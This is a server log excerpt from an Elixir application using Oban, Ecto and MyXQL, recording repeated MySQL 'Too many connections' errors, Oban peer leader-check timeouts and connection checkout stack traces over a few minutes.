    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:13:58.954000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:01.422000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:03.457000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:04.297000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:10.728000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:11.128000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:13.965000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:16.850000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:24.805000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:29.853000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:30.886000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:31.505000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:31.986000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:14:36.987000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:14:41.128000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:14:41.129000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:43.695000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:47.705000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:47.974000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:49.307000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:50.433000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:56.090000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:14:56.869000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:06.533000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:08.803000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:11.987000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:12.960000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:14.157000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:15:16.131000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:15:19.159000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:15:20.688000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:23.435000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:15:23.437000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:26.395000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:27.960000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:29.998000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:34.239000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:35.225000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:38.823000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:39.171000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:56.611000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:56.803000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:15:57.466000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:15:58.573000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:00.448000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:02.467000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:16:05.182000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:16:07.449000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:16:07.450000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:09.798000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:13.980000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:19.462000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:19.739000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:24.038000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1964.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 22:16:26.058000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:26.355000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:28.223000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:35.488000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:37.044000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:40.479000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:16:43.756000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:45.480000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:16:49.822000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:16:49.823000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:51.575000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:51.652000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:52.528000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:53.327000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:54.472000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:16:55.996000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:00.569000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:10.021000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:15.729000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:16.987000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:18.645000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:21.170000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:22.976000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:23.854000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:17:24.824000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:17:28.855000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:17:30.641000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:31.685000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:33.733000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:17:33.735000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:35.030000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:35.601000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:36.480000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:37.724000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:39.460000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:40.592000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:51.341000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:17:54.278000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
